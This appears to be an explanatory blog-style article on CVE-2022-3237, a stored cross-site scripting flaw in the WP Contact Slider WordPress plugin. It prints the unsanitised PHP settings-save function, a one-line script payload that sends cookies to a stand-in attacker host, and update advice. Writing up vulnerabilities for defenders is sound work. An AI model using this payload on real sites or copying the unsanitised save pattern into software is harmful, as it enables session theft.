WordPress is a widely-used content management system (CMS) that allows users to create and maintain websites with ease. However, like any other software, WordPress plugins can contain vulnerabilities that put users and their data at risk. One such vulnerability is CVE-2022-3237, a security issue found in the WP Contact Slider WordPress plugin. This vulnerability affects versions of the plugin before 2.4.8 and allows high privilege users, such as admins, to perform cross-site scripting (XSS) attacks even when the unfiltered_html capability is disallowed.

In this article, we will discuss the details of CVE-2022-3237, examine a code snippet that demonstrates the vulnerability, and provide links to original references. By understanding the risks associated with this vulnerability, you can take appropriate steps to protect your WordPress site from potential attacks.

Vulnerability Details

CVE-2022-3237 is caused by a lack of proper sanitization and escaping of the WP Contact Slider's settings. As a result, high privilege users, such as administrators, can inject malicious code into the plugin's settings, leading to cross-site scripting attacks. These attacks can compromise user data, steal sensitive information, and give attackers control over the site.

A key factor in the vulnerability is that the attack can be performed even when the unfiltered_html capability is disallowed. This means that an attacker with high-level privileges can still execute XSS attacks and gain unauthorized access to data and site functionality.

Code Snippet

Here's a code snippet highlighting the vulnerable function in the WP Contact Slider plugin, which lacks proper sanitization and escaping of its settings:

function wpcs_admin_setting_save() {
    $settings = wpcs_get_plugin_settings();
    foreach ($settings as $section => $fields){
        foreach ($fields as $field_id => $field){
            if(isset($_POST[$field_id])){
                $field_options = $field['options'];
                $option_value = $_POST[$field_id];
                update_option($field_id, $option_value);
            }
        }
    }
}

As seen in this code snippet, the plugin retrieves its settings using the wpcs_get_plugin_settings() function and iterates over each setting. However, it does not sanitize or escape the POST data ($_POST[$field_id]), allowing malicious code to be injected.

Exploit Details

An attacker can take advantage of this vulnerability by injecting malicious JavaScript code into the plugin's settings. When a user visits a page containing the vulnerable-plugin, this malicious code would execute in the user's browser, potentially allowing the attacker to steal sensitive data or manipulate the site's functionality.

Here's an example of malicious JavaScript code that an attacker might inject into the plugin's settings:

<script>document.location='https://attacker-site.com/steal-data.php?data='+encodeURI(document.cookie);</script>;

This code snippet demonstrates how an attacker can steal a user's session cookies and send them to an external site, potentially allowing the attacker to hijack the user's session and gain unauthorized access to the site.

Mitigation and Conclusion

The easiest way to mitigate CVE-2022-3237 is to update the WP Contact Slider plugin to version 2.4.8 or later, which contains a fix for the vulnerability. Additionally, it is essential to practice good security hygiene by using strong, unique passwords and frequently updating your WordPress plugins and core software.

In conclusion, understanding the risks associated with CVE-2022-3237 and taking appropriate steps to update the WP Contact Slider plugin can help protect your WordPress site from potential XSS attacks. By mitigating this vulnerability, you can better safeguard your users' data and ensure the security of your site.

Original References

1. CVE-2022-3237
2. WP Contact Slider WordPress plugin vulnerability

Timeline

Published on: 10/31/2022 16:15:00 UTC
Last modified on: 11/01/2022 13:58:00 UTC